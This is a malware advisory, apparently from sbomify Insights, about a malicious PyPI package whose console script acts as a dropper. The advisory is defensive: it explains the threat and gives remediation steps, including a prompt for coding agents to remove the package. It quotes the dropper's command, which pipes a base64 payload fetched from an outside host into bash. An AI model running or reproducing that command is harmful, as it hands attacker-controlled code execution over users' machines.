# MAL-2026-4812: Malicious code in m-at-star-tools (PyPI)


- **Type:** Malicious package
- **Package:** `m-at-star-tools` (PyPI)
- **Published:** 26 May 2026

## What is MAL-2026-4812?

MAL-2026-4812 is a malicious package in m-at-star-tools, published on 26 May 2026. 

### Official description

The package's sole console_script `m0scan` (m0scan/main.py:6-7) executes `curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash`, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (`mspy.qzz.io`) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls `mspy.qzz.io/M0scan` controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author `M-AT-STAR`, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.

The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-m-at-star-tools

Reasons (based on the campaign):

 - Downloads and executes a remote malicious script.

 - obfuscation

## What should I do about MAL-2026-4812?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4812 is a malicious package: m-at-star-tools (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4812/ (Markdown: https://insights.sbomify.com/MAL-2026-4812/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4812

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4812/
Summaries are generated and may contain mistakes; the official description above is the record.
